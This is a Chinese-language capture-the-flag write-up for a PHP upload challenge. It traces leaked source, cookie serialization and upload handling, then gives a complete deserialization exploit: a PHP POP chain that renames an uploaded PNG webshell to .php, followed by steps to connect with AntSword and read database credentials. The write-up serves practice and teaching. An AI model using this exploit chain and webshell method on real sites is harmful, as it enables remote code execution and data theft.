wp
大佬的 wp : https://www.zhaoj.in/read-5873.html
個人總結
-
只能上傳正常的圖片,非 png 格式會自動轉化為 png,圖片被保存在 upload 目錄下
-
本題是 www.tar.gz 泄露,源碼泄露總結
-
函數流程:
- 沒有登陸時,跳轉到 index.php,進行注冊登陸。login_check 函數將 cookie('user') 賦給 profile,然后 base64 解碼反序列化
- 在注冊頁面調用 login_check 函數檢查是否登陸,是則跳轉到 index.php/home ,否則進行注冊
- 在登陸頁面調用 login_check 函數檢查是否登陸,是則跳轉到 index.php/home ,否則進行登陸
- 已經登陸時,跳轉到 index.php/home 進行文件上傳操作
- 在進行上傳操作時,對請求頭中的 REMOTE_ADDR 進行 md5 加密並賦給 upload_menu ,然后創建以 upload_menu 命名的文件夾
- 然后進行登陸檢查,然后將文件的臨時副本的名稱賦給 filename_tmp,將文件名(不加后綴)進行 md5 加密后賦給 filename
- 然后進行后綴檢測,將 filename 的后綴賦給 ext,如果 ext 為 png 返回 1,否則返回 0
- 如果后綴是 png,檢查圖片內容,然后將 filename 賦給 filename_tmp,將圖片相對路徑賦給 img,執行 update_img 函數
- update_img 函數先進行 user 查詢,如果 user 沒有上傳過圖片並且 img 存在,則更新 user 表的 img 字段,並執行 update_cookie 函數
- update_cookie 函數將上傳圖片的 img 進行序列化和 base64 編碼后賦給 cookie 的 user
- profile 的 _call 和 _get 兩個魔術方法,分別書寫了在調用不可調用方法和不可調用成員變量時怎么做。__get 會直接從 except 里找,__call 會調用自身的 name 成員變量所指代的變量所指代的方法。
-
攻擊流程:
-
注冊,登陸。登陸之后有個跳轉的過程,這里就有了 cookie,如圖
解碼后如圖
-
選擇上傳圖片,這個圖片就是合成的圖片馬,從 阿里巴巴矢量圖庫 下載一個 png 圖片,然后蟻劍生成一個 shell,用 hex 編輯器直接將 shell 內容放在圖片后面即可。這里使用阿里的圖庫是因為網上的 png 圖片可能 hex 格式不規范,導致后面改名之后會報 parse error
-
上傳圖片之后,會在 upload 目錄下生成一個 md5(REMOTE_ADDR) 文件,而且文件名也會被 md5 加密,這時 cookie['user'] 如圖
解碼后如圖
-
使用 poc 生成的序列化結果修改 cookie['user'],刷新一次即可修改后綴。在服務器反序列化的過程中,在 Register 類中執行析構函數,調用 $profile 的 index() 函數,在 Profile 類的 __get 函數中定義了如果調用 index() 就去調用 img,而 __call 函數規定調用不可調用的函數時就調用 img 對應的函數,這樣就控制函數跳轉到 upload_img 函數,然后執行復制函數,將 png 改為 php,並刪除原有的 png,至此,后綴修改完成。
-
最后直接用蟻劍連接 shell,讀取配置文件中的數據庫信息,選擇 mysqli 驅動連接到數據庫,即可讀取 flag
-
-
最終 poc 如下,修改上傳圖片地址即可
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
//修改地址即可
$profile->filename_tmp = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/36a767e7b2d8d3bde3f881217a418ebb5.png";
$profile->filename = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/6a767e7b2d8d3bde3f881217a418ebb5.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
?>
mysqli 是 PHP 驅動數據庫的一種方式,以前是使用 mysql 的,而 mysqli 相比於 mysql 更加安全高效
copy(a, b),a 和 b 是文件路徑,將文件從 a 拷貝到 b,比如 copy("./1.png", "./1.php" ) 執行之后會存在兩個文件 1.png 和 1.php
unlink(a),a 是文件路徑,刪除文件 a